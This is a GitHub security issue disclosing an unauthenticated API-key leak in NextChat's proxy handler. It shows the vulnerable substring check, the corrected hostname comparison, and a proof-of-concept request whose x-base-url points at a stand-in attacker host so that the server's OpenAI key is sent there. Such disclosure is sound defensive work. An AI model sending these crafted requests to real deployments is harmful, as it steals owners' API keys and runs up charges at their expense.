Skip to content

Server OpenAI API Key Exfiltration via Incomplete URL Substring Check in Proxy Handler #6814

Description

@geo-chen

📦 Deployment Method

Docker

📌 Version

v2.16.1

💻 Operating System

Other

📌 System Version

🌐 Browser

Other

📌 Browser Version

🐛 Bug Description

reported on 2 June 2026 https://github.com/ChatGPTNextWeb/NextChat/security/advisories/GHSA-rfph-4473-623x - no response

Summary

The proxy handler in app/api/proxy.ts uses a substring check (baseUrl?.includes("api.openai.com")) to decide whether to inject the server's configured OPENAI_API_KEY into outbound request headers. Because the check is a plain string containment test rather than URL hostname comparison, an attacker can supply any URL that contains api.openai.com as a query parameter or path component (e.g., http://attacker.com?q=api.openai.com) to cause the server to inject its API key and forward it to the attacker-controlled host. No authentication is required.

Details

app/api/proxy.ts contains the following logic (lines 37-46):

const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
  if (!serverConfig.apiKey) {
    return NextResponse.json(
      { error: "OpenAI API key not configured" },
      { status: 500 },
    );
  }
  headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}

The intent is to inject the server's OpenAI API key when the request is destined for the real OpenAI API. However, String.prototype.includes() checks for substring occurrence anywhere in the string. As a result, any of the following values for x-base-url satisfy the check while pointing to an attacker-controlled host:

  • http://attacker.com?q=api.openai.com
  • http://attacker.com/path/api.openai.com/anything
  • http://attacker.com#api.openai.com

The proxy handler then makes a server-side request to the attacker-controlled URL with the header Authorization: Bearer <OPENAI_API_KEY>. The attacker receives the server's real API key.

This is compounded by the absence of any authentication check in proxy.ts: neither an access code nor a user-supplied API key is required.

The correct check would compare the parsed hostname of the URL:

const parsedUrl = new URL(baseUrl);
if (parsedUrl.hostname === "api.openai.com") { ... }

CodeQL query js/incomplete-url-substring-sanitization independently flags this code path.

PoC

Prerequisites: a running NextChat instance with OPENAI_API_KEY configured and yidadaa/chatgpt-next-web:latest Docker image. CODE environment variable may be set; it does not affect this route.

Start a listener that logs incoming headers:

# Flask listener (logs full headers in response body)
python3 -m flask run --host=0.0.0.0 --port=9999

Or any HTTP server that returns the received headers in the response body.

Send an unauthenticated request with a crafted x-base-url:

GET /api/anyprov/testpath HTTP/1.1
Host: <nextchat-host>:3000
x-base-url: http://<attacker-host>:9999?q=api.openai.com

The attacker's server receives:

{
  "headers": {
    "Authorization": "Bearer sk-proj-<ACTUAL_OPENAI_API_KEY>",
    "Host": "<attacker-host>:9999",
    ...
  },
  "path": "/",
  "ssrf": "confirmed"
}

Live validation was performed on commit 89b8f26 (v2.16.1). The configured API key sk-test-dummy-key-for-ssrf-research appeared verbatim in the Authorization header received at the attacker-controlled Flask server.

Impact

An unauthenticated attacker can steal the deployment's OPENAI_API_KEY by sending a single HTTP request with a crafted x-base-url header. With the key they can make arbitrary OpenAI API calls at the deployment owner's expense. Access-code protection does not mitigate this, as proxy.ts performs no authentication.

This affects any NextChat deployment that has OPENAI_API_KEY configured, which is the normal configuration for self-hosted instances.

📷 Recurrence Steps

No response

🚦 Expected Behavior

No response

📝 Additional Information

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions